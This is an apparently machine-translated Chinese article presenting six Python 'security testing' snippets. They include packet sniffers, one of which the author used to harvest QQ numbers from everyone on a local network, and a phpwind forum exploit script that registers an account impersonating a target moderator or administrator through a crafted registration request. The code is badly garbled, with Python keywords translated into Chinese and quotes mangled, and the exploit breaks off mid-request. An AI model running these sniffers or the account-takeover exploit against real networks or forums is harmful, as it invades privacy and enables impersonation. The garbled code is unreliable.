Python常用辅助安全测试6个代码例子分别是怎样的

  介绍

这篇文章给大家介绍Python常用辅助安全测试6个代码例子分别是怎样的,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

下面举些例子,演示一下Python的功能。

1,数据嗅探,这个例子,是嗅探土豆网上的flash真正的播放地址。

 import  pcap  struct ,再保险
  得到pickle  import 转储、负载
  包=pcap.pcap ()
  pack.setfilter (& # 39; tcp  port  80 & # 39;)
  regx=" # 39;/(\ w + |/) + . flv |/(\ w + |/) + . swf # 39;
  url=[]
  主机=[]
  print  & # 39; start 捕捉.... & # 39;
  for  recv_time recv_data 包拷贝:
  ,,,的url=re.findall (regx recv_data);
  ,,,如果(len (url) !=0): print  url; 

2,嗅探qq号码,前些天我还用它嗅探局域网里所有的qq那。可惜没有识别性别的功能,不过可以自己添加

# - * -编码:cp936 - *
进口pcap struct
包=pcap.pcap ()
pack.setfilter (& # 39; udp # 39;)
键=& # 39;& # 39;
recv_time, recv_data包:
,,recv_len=len (recv_data)
,,如果recv_len==102和recv_data[42]==(02),从而向recv_data [101]
==科(03):
,,,打印struct.unpack(& # 39;在我# 39;,recv_data [49:53]) [0]
,,elif recv_len==55:
,,,打印struct.unpack(& # 39;在我# 39;,recv_data [49:53]) [0]

3,数据嗅探,项目中遇到,需要嗅探一些发送到特定端口的数据,于是花了几分钟写了一个程序。

 import  pcap 结构
  得到pickle  import 转储、负载
  包=pcap.pcap ()
  pack.setfilter (& # 39; port  2425 & # 39;)
  开放(f=" # 39;/mm.txt& # 39; & # 39; w + & # 39;)
  print  & # 39; start 捕捉.... & # 39;
  for  recv_time recv_data 包拷贝:
  ,,,print  recv_time
  ,,,print  recv_data
  ,,,f.write (recv_data) 

3,文件内容搜索,我发现窗户的自带的搜索无法搜索内容。即使搜索到也不准。就自己写了一个

import操作系统,字符串,再保险公司sys

类SevenFile:
,,文件=[]
,,def FindContent(自我、路径):
,,,,打印& # 39;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx& # 39;
,,,,走=os.walk(路径)
,,,,走在走:
,,,,,,的文件名走[2]:
,,,,,,,,如果(& # 39;.mht& # 39;==文件名[4]):
,,,,,,,,,,res_taskid=[]
,,,,,,,,,,文件=走[0]+ & # 39;\ \ & # 39;+文件名
,,,,,,,,,,f=打开(文件)
,,,,,,,,,,内容=f.read ()
,,,,,,,,,,pattern_taskid=re.compile (" # 39; Stonehenge-UIVerificationChecklist \ .mht& # 39;, re.IGNORECASE) #
,,,,,,,,,,res_taskid=pattern_taskid.findall(内容)
,,,,,,,,,,f.close ()
,,,,,,,,,,如果len (res_taskid)在0:
,,,,,,,,,,,,self.files.append(文件)

def运行():
,,f=SevenFile ()
,,f.FindContent (r" E: \ \美联社\手动测试工作\ PSIGTestProject \ PSIGTestProject")
,,在filepath f.files:
,,,,打印filepath,,
,打印“OK"

if __name__==癬_main__":
,,run ()

4,这个不是我写的,是一个网上的×××phpwind论坛的一个代码

# - * -编码:gb2312 - * - - - - - -
进口urllib2 httplib, sys
httplib.HTTPConnection.debuglevel=1
饼干=urllib2.HTTPCookieProcessor ()
刀=urllib2.build_opener(饼干)

def使用():
打印“用法:\ n"
打印“美元。/phpwind。py pwforumurl usertoattack \ n"
打印“pwforumurl目标论坛地址如http://www.80sec.com/"
打印“usertoattack目标拥有权限的斑竹或管理员“
打印“×××结果将会在目标论坛注册一个和目标用户一样的帐户“
打印“最新版本可以使用uid登陆“
打印“其他版本可以使用饼干+ useragent登陆“
打印“# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #“
打印““

argv=sys.argv
使用()

data=https://www.yisu.com/zixun/眗egname=% s
% s1& ampregpwd=@80sec& ampregpwdrepeat=@80sec& ampregemail=瑻foo.com& ampregemailtoall=1,步骤=2,
% (argv [2],“% c1")
pwurl=? s/register.php"% argv [1]

=urllib2请求。请求(
url=pwurl
头={& # 39;内容类型# 39;null

Python常用辅助安全测试6个代码例子分别是怎样的